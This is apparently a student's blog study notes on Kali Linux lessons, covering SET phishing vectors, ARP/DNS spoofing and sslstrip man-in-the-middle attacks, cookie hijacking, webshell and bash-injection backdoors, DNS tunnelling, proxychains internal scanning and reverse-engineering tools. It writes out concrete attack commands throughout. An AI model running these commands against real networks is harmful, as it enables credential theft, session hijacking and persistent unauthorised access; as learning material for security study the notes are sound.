《网络攻防》- 学习心得

kali视频(31-35)学习

Kali漏洞利用之SET

Social Engineering Toolkit(SET)是一个开源、Python驱动的社会工程学渗透测试工具。提供了非常丰富的攻击向量库。是开源的社会工程学

利用套件,通常结合metasploit来使用。

命令行下输入

setoolki

t打开SET套件

菜单选项1是社会工程学攻击,输入1回车,可以看到相应模块

1)鱼叉式钓鱼攻击(Spear-Phishing Attack Vectors)
2)网站攻击(Website Attack Vectors)
3)介质感染攻击(Infectious Media Generator)
4)创建Payload并监听(Create a Payload and Listener)
5)群发邮件攻击(Mass Mailer Attack)
6)基于Arduino的攻击(Arduino-Based Attack Vector)
7)无线接入点攻击(Wireless Access Point Attack Vector)
8)二维码攻击(QRCode Generator Attack Vector)
9)powershell攻击(Powershell Attack Vectors)
10)短信欺骗攻击(SMS Spoofing Attack Vector)
11)第三方模块(Third Party Modules)

鱼叉式钓鱼攻击

此攻击向量主要目的为发送存在恶意软件的钓鱼邮件。
相应的Payload可以选择不同的漏洞。

网站攻击框架
此时可以开放一个WEBSever服务,如果对方访问此页面,若系统存在漏洞触发条件,则会被传送payload,之后植入后门。
如Java Applet Attack方法就是需要目标有Java运行环境,并且它提供一个功能,就是“site Cloner”可以将一个网站克隆过来,可以通过内网

的域名欺骗,或者arp劫持,这样对面就可以访问你的页面,如果你的页面存在漏洞,对方如果没有打完整的补丁就会中招。

介质感染攻击【光盘漏洞】:借助Autorun.inf执行Exploit得到一个返回的shell,也可以结合Metasploit的后门。【曾经的u盘木马】

创建Payload和监听器listener,类似Metasploit,设置一个反向后门。

群发邮件攻击:把带有恶意软件的邮件发送给每个人,支持导入列表并向列表中的每个人发送邮件。

短信欺骗攻击(SMS Spoofing Attack Vector):伪造短信的来源。

基于Andruino的攻击

无线接入点攻击(Wireless Access Point Attack Vector):无线接入点攻击会创建一个虚拟无线AP,通过接入点ap可以抓取所有连接进来的设

备流量。

二维码攻击(QRCode Generator Attack Vector):填入一个危险的URL,使得被攻击者扫描二维码自动访问页面而中招。

powershell攻击(Powershell Attack Vectors):针对vista以上的攻击模块。

第三方模块(Third Party Modules)

选项2是Fast-Track Penetration
比如常见expsql爆破等等过去常见的exp、

Kali嗅探欺骗与中间人攻击【一次实例】
Linux下的中间人攻击套路都是一样的,这里介绍进行ARP欺骗、DNS欺骗和嗅探以及会话劫持(cookies)的方法。

为kali设置开启端口转发

echo 1 > /proc/sys/net/ipv4/ip_forward

设置ssltrip
为了劫持ssl数据,需要使https数据变为http:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8081

让sslstrip在8081端口监听:ssltrip -l 8081

Ettercap

【重要】

ettercap是一套用于中间人攻击的工具。和dsniff套件齐名。支持插件和过滤脚本,直接将账号、密码显示出来,不用人工提取数据。如果是第一次中间人攻击操作,那么要对kali下的etteracp做点配置。

1)配置文件是/etc/ettercap/etter.conf,首先要将ec_uid、ec_gid都变为0。

2)然后找到linux分类下的if you use iptables这一行,将下面两行的注释(“#”号)去掉,打开转发。

3)打开图形化界面

ettercap -G

4)选择嗅探网卡 默认eth0

5)Ettercap使用
打开ettercap,选择hosts选项:先scan for hosts,等扫描完了选host list。

将网关add to target 1/想攻击的目标add to target 2,mitm选项卡arp-poisoning,然后start sniffing就可以了。

靶机:当同处一个局域网的受害者访问网页,进行登录时,它的密码就被记录了,不安全的连接。

查看被监听主机之间的所有连接信息,依次点击View--Connections。

Dsniff套装介绍

【重要】

Dsniff套装主要是arpspoof和dsniff,前者用来进行arp欺骗,后者用于嗅探。进行攻击步骤如下:

1)进行arp欺骗

arpspoof [-i interface(网卡)] [-c own|host|both(欺骗方式,通常是both)] [-t target(目标)] [-r] host(网关)

2)进行嗅探

dsniff [-cdmn] [-i interface | -p pcapfile] [-s snaplen] [-f services] [-t trigger[,...]] [-r|-w savefile] [expression]

-c打开半双工TCP流,允许在使用arpspoof时进行正确的嗅探操作;
-d启动调试模式;
-f以/etc/service格式从文件中加载触发器(也就是口令嗅探的服务类型);
-I使用特定的网络接口;
-m使用dsniff.magic文件通过在magic文件中定义的特征尝试自动判断协议;
-n不执行主机查找;
-r从前面保存的会话中读取被嗅探的数据;
-s最多对报文的前个字节进行嗅探,如果用户名和口令信息包含在随后的默认1024字节界限中;
-t使用格式port/proto=servise;来加载一个以逗号界定的触发器集;
会话劫持
这里主要以cookies进行举例,说明会话劫持的用法。

1)开始arp欺骗:arpspoof -i wlan0 -t 192.168.1.1 192.168.1.102

2)捕获数据报:tcpdump -i wlan -w test.cap
等一段时间,估计目标会登录网站了,我们开始处理捕获的数据包:forret -r test.cap。

3)如果捕获的数据包没什么问题,而且确定开启了端口转发,那么经过处理的数据包会自动生成hamster.txt
接下来运行hamster hamster,会提示浏览器设置代理为http://127.0.0.1:1234

4)接着在浏览器中代开hamster:http://hamster
选择目标和可能的登录认证地址,然后点击链接会发现劫持成功。

图片截获

利用Driftnet这款工具我们可以看到受害人在访问网站的图片。

首先依然使用arpspoof启动arp欺骗,然后启动driftnet:driftent -i。

此时弹出一个小窗口,当目标访问有图片的网站的时候,攻击者就能在这个小窗口看到。

DNS欺骗
利用Dsniff套装中的dnsspoof或者ettercap的dnsspoof插件,我们可以完成对受害者的dns欺骗。

1)在开始欺骗前,首先我们要编辑一个自己的hosts文件,放在方便访问的地方。内容和本机自带的hosts内容差不多,只是把你想欺骗的域名和

想要欺骗到哪里的地址写好(通常是攻击者指定的服务器,用来执行浏览器溢出或者java applet攻击,用来获取受害者的计算机访问权限)

2)host文件:127.0.0.1 www.baidu.com。上面是一个hosts文件示例,把百度定向到了本机。我们把它保存成hosts,位于/root目录下。

3)然后启动dnsspoof:dnsspoof -i wlan0 -f /root/hosts,等受害者访问百度观察效果。

URL监控
利用Dsniff套装中的urlsnarf工具,我们对TCP80、3128、8080端口的HTTP通信进行解析,并且可以将嗅探到的所有HTTP请求转存为通用日志格式

(Common Log Format,CLF),这种格式是许多Web服务器所使用的,例如IIS和Apache,事后可以很方便的使用一些日志分析工具来分析记录结

果。

Usage:urlsnarf [-n] [-i interface | -p pcapfile] [[-v] pattern [expression]]

下载软件监控
利用Dsniff套装中的filesnarf工具,我们可以从嗅探到的NFS通信中,选定某个文件,转存到本地当前工作目录。

Ussage:filesnarf [-i interface | -p pcapfile] [[-v] pattern [expression]]

Kali权限维持

Kali权限维持之后门

目的:绕过网络限制,或者网络配置,主要就是使用socket进行代理进行内网探测,这些需要熟练掌握

权限维持包含Tunnel工具集、Web后门、系统后门三个子类。其中系统后门与web后门统称后门,都是为渗透测试后,为方便再次进入系统而留下的恶意程序。

Weevely【非常好用,非常重要】
Weevely是一款使用python编写的webshell工具,可以算作是linux下的一款菜刀替代工具(限于php)。

weevely generate test ~/1.php        	//1)生成php后门,
wevely http://172.16.215.143/1.php test  //2)上传后门,使用weevely连接。 

这样就能获得一个web的shell

WeBaCoo--php后门
WeBaCoo(Web Backdoor Cookie)script-kit是一个小巧的、隐蔽的php后门,它提供了一个可以连接远程web服务器并执行php代码的终端。

WeBaCoo使用HTTP响应头传送命令结果,shell命令经base64编码后隐藏在Cookie头中。

webacoo -g -o ~/2.php // 	1)生成后门
webacoo -t -u http://xxx.xxx.xxx.xxx/2.php//	2)连接后门

之后通过加入“:”执行本地命令,不加则借助webshell执行命令。比如执行:ls,whoami,cat/etc/issue

Cymotha--创建系统的后门

后门注入到bash进程中去,首先枚举/bin/bsh进程的pid

cymothoa -p 10500 -s 0 -y 23333//注入2333端口,如果成功就能连接23333端口返回一个shell

dbdsbd--加密版的nc

dbd -l -p 2333 -e /bin/bash -k password//监听端
dbd 127.0.0.1 2333 -k password//连接端,主动连接

U3-Pwn

与Metasploit Payload结合使用工具,从菜单可以单刀多针对移动设备如光驱镜像、U盘等。

Intersect【比较强大】

1)使用“2”列出可以使用的模块
2)创建后门脚本使用“1”,自由添加功能组件,生成shell。
如:

beshell //绑定的shell
creds //
portscan// 端口扫描模块
:create  //获得一个shell完成

3)绑定
4)连接:

nc nvv 127.0.0.1 5555

Kali权限维持之Tunnel

权限维持包含Tunnel工具集、Web后门、系统后门三个子类。Tunnel工具集包含了一系列用于创建通信隧道、代理的工具。

cryptcat

Netcat的隧道加密版的网络工具,与dbd,sbd使用也是类似。(百度一下就很多使用方法)

DNS2TCP

DNS Tunnel,就是DNS的一个隧道,利用DNS查询过程建立起隧道,传输数据。
比如你在酒店,机场等地方,有WiFi信号,打开一个网站会弹出个窗口,是需要你登录才能够继续上网的。这个时候你没有账号,上不了网。但是有的时候你会发现你获得的DNS是有效的,我么可以通过DNS tunnel技术进行免费上网。
原理:
从DNS协议看,你在向外查询某个域名,实际上你在和外部通讯,你没有直接镰刀局域网外的机器,因为网管不会转发你的ip包出去,但是在就往上的DNS服务器帮你做了中专,这就是DNS Tunnel。

工具还有:OzymanDNS,tcp-over-dns,heyoka,iodine,dns2tcp。【DNS实现免费上网的过程】

Miredo--不支持ipv6的网络支持ipv6

Miredo是一个网络工具,主要用于BSD和Linux的IPV6 Teredo隧道链接,可以转换不支持IPV6的网络连接IPV6,但内核中需要有IPV6和TUN隧道支持。

Proxytunnel【经常用到,要好好掌握】

比如使用Meterpreter开设了一个Socks4a代理服务,修改配置文件加入代理,就可以去使用sqlmap或者nmap直接使用代理扫描内网。

nano /etc/proxychains.conf //修改配置文件,把最下面的代理文件改成刚刚配置好的那个文件
proxychains nmap -sT -Pn 10.0.0.1/24 //使用代理扫描内网

Proxytunnel【现实生活中有应用】

可通过标准的HTTPS代理来连接远程服务器,这是一个代理,实现了桥接的功能。特别用于通过SSH进行HTTP(S)传输。

ptunnel--借助icmp数据包建立隧道通信。

pwnat--内网下通过udp通信。

socat--功能繁杂,需要自己搞测试试试,可以在不同协议上进行转发数据。

sslh--是一个ssl/ssh端口复用工具

sslh可以在同一个端口上接受https,ssh和openvpn连接,这使得通过443端口连接ssh服务器或者openvpn服务同时在该端口上提供https服务成为可能,sslh可以作为一个研究端口复用的例子。

Stunnel--

Udptunnel--

Kali逆向工程工具

主要包括调试器,反编译工具和逆向工具。

逆向工程是根据已有的东西和结果,通过分析来推导出具体的实现办法。比如看到别人写的某个exe程序能够做出某种漂亮的动画效果,你通过反汇编、反编译和动态跟踪等方法,分析出其动画效果的实现过程,这种行为就是逆向工程:不仅仅是反编译,而且还要推导出设计,并且文档化,逆向软件工程的目的是使软件得以维护。

edb-debugger--图形化界面
基于qt4开发的二进制调试工具,主要是为了跟ollydbg工具看齐,通过插件体系可进行功能的扩充。

Ollydbg【超级经典的调试工具】

kali下按照Wine方式进行运行

Jad——一个Java反编译工具,

Radare2--开放源代码的逆向工程平台

它可以反汇编、调试、分析和操作二进制文件。

Recstudio——UI,反编译工具

Apktool--APK编译工具
APKTool是google提供的APK编译工具,能够反编译及回编译apk,同时安装反编译系统apk所需要的framewo-res框架。

Clang 、Clang++

Clang是一个C语言、C++、Objective C、Objective C++语言的轻量级编译器。

D2j-dex2jar--反编译dex文件到jar文件,进而可以用其他工具查看源代码。

Flasm--好用的swf文件修改
flasm主要功能是用于直接修改swf文件里的脚本actionscript。只修改代码,资源数据不做修改。

Javasnoop--UI,java应用程序安全测试工具

Javasnoop是一个java应用程序安全测试工具,它允许你以拦截的方法,篡改数据和hack运行在你计算机上的java应用程序。通常在没有源代码的情况下,测试java客户端的安全性最好的结果是不可预知的,最坏的结果是不切实际的。
如果有源码的情况下,运行一个java程序和远程附加一个调试器进行调试,单步运行。但是对于一个applet来说做到这一点非常难,当需要修改客户端和服务端的通讯时,客户端做代理,代理上修改数据。但是问题是数据一般不是明文,可能是各种协议,序列化对象,加密数据或者多种应用。
这个工具就是尝试解决这些问题,通过附加到一个运行的进程中,然后通过篡改方法调用,运行自定义代码或者监视系统发生。

posted @ 2019-04-17 22:45  20189211  阅读(1297)  评论(0编辑  收藏  举报